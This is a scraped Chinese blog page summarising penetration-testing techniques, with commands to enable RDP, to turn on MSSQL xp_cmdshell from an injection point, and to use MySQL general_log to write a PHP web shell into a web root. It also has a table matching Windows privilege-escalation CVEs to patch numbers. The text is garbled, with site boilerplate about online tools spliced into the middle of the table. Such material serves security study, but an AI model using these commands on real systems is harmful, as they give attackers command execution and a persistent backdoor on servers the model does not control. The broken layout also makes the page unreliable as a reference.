编程语言java算法
渗透测试知识点总结:从基础到进阶
渗透测试核心涵盖 Web 安全、二进制安全及密码学,需掌握软件开发、数据库原理及编程语言。内容包含 HTTP 协议、Web 服务器解析流程、注入类与信息漏洞分析。提供 Windows 提权对照表、MSSQL 与 MySQL 命令执行代码示例,以及漏洞挖掘与利用的完整流程。

渗透测试核心涵盖 Web 安全、二进制安全及密码学,需掌握软件开发、数据库原理及编程语言。内容包含 HTTP 协议、Web 服务器解析流程、注入类与信息漏洞分析。提供 Windows 提权对照表、MSSQL 与 MySQL 命令执行代码示例,以及漏洞挖掘与利用的完整流程。

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
注:在注入点运行上述语句时,如果出现回显提示配置选项不存在,可尝试以下语句:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'user connections', 1;
RECONFIGURE;
set global general_log = on;
set global general_log_file = 'C:/phpStudy/WWW/sinight.php';
select '<?php @assert($_POST["sinight"]); ?>';
set global general_log = off;
| CVE | KB | Description | Operating System |
|---|---|---|---|
| CVE-2017-0213 | KB4013389 | Windows COM Elevation of Privilege Vulnerability | windows 10/8.1/7/2016/2010/2008 |
| MS17-010 | KB4013389 | Windows Kernel Mode Drivers | windows 7/2008/2003/XP |
| MS16-135 | KB3199135 | Windows Kernel Mode Drivers | 2016 |
| MS16-098 | KB3178466 | Kernel Driver | Win 8.1 |
| MS16-075 | KB3164038 | Hot Potato | 2003/2008/7/8/2012 |
| MS16-032 | KB3143141 | Secondary Logon Handle | 2008/7/8/10/2012 |
| MS16-016 | KB3136041 | WebDAV | 2008/Vista/7 |
| MS15-097 | KB3089656 | remote code execution | win8.1/2012 |
| MS15-076 | KB3067505 | RPC | 2003/2008/7/8/2012 |
| MS15-077 | KB3077657 | ATM | XP/Vista/Win7/Win8/2000/2003/2008/2012 |
| MS15-061 | KB3057839 | Kernel Driver | 2003/2008/7/8/2012 |
| MS15-051 | KB3057191 | Windows Kernel Mode Drivers | 2003/2008/7/8/2012 |
| MS15-010 | KB3036220 | Kernel Driver | 2003/2008/7/8 |
| MS15-015 |
python -c "import SimpleHTTPServer as s; s.test();" 8000python -m SimpleHTTPServer 8000python -m http.server 8000
微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
| KB3031432 |
| Kernel Driver |
| Win7/8/8.1/2012/RT/2012 R2/2008 R2 |
| MS15-001 | KB3023266 | Kernel Driver | 2008/2012/7/8 |
| MS14-070 | KB2989935 | Kernel Driver | 2003 |
| MS14-068 | KB3011780 | Domain Privilege Escalation | 2003/2008/2012/7/8 |
| MS14-058 | KB3000061 | Win32k.sys | 2003/2008/2012/7/8 |
| MS14-040 | KB2975684 | AFD Driver | 2003/2008/2012/7/8 |
| MS14-002 | KB2914368 | NDProxy | 2003/XP |
| MS13-053 | KB2850851 | win32k.sys | XP/Vista/2003/2008/win 7 |
| MS13-046 | KB2840221 | dxgkrnl.sys | Vista/2003/2008/2012/7 |
| MS13-005 | KB2778930 | Kernel Mode Driver | 2003/2008/2012/win7/8 |
| MS12-042 | KB2972621 | Service Bus | 2008/2012/win7 |
| MS12-020 | KB2671387 | RDP | 2003/2008/7/XP |
| MS11-080 | KB2592799 | AFD.sys | 2003/XP |
| MS11-062 | KB2566454 | NDISTAPI | 2003/XP |
| MS11-046 | KB2503665 | AFD.sys | 2003/2008/7/XP |
| MS11-011 | KB2393802 | kernel Driver | 2003/2008/7/XP/Vista |
| MS10-092 | KB2305420 | Task Scheduler | 2008/7 |
| MS10-065 | KB2267960 | FastCGI | IIS 5.1, 6.0, 7.0, and 7.5 |
| MS10-059 | KB982799 | ACL-Churraskito | 2008/7/Vista |
| MS10-048 | KB2160329 | win32k.sys | XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7 |
| MS10-015 | KB977165 | KiTrap0D | 2003/2008/7/XP |
| MS09-050 | KB975517 | Remote Code Execution | 2008/Vista |
| MS09-020 | KB970483 | IIS 6.0 | IIS 5.1 and 6.0 |
| MS09-012 | KB959454 | Chimichurri | Vista/win7/2008/Vista |
| MS08-068 | KB957097 | Remote Code Execution | 2000/XP |
| MS08-067 | KB958644 | Remote Code Execution | Windows 2000/XP/Server 2003/Vista/Server 2008 |
| MS08-025 | KB941693 | Win32.sys | XP/2003/2008/Vista |
| MS06-040 | KB921883 | Remote Code Execution | 2003/xp/2000 |
| MS05-039 | KB899588 | PnP Service | Win 9X/ME/NT/2000/XP/2003 |
| MS03-026 | KB823980 | Buffer Overrun In RPC Interface | /NT/2000/XP/2003 |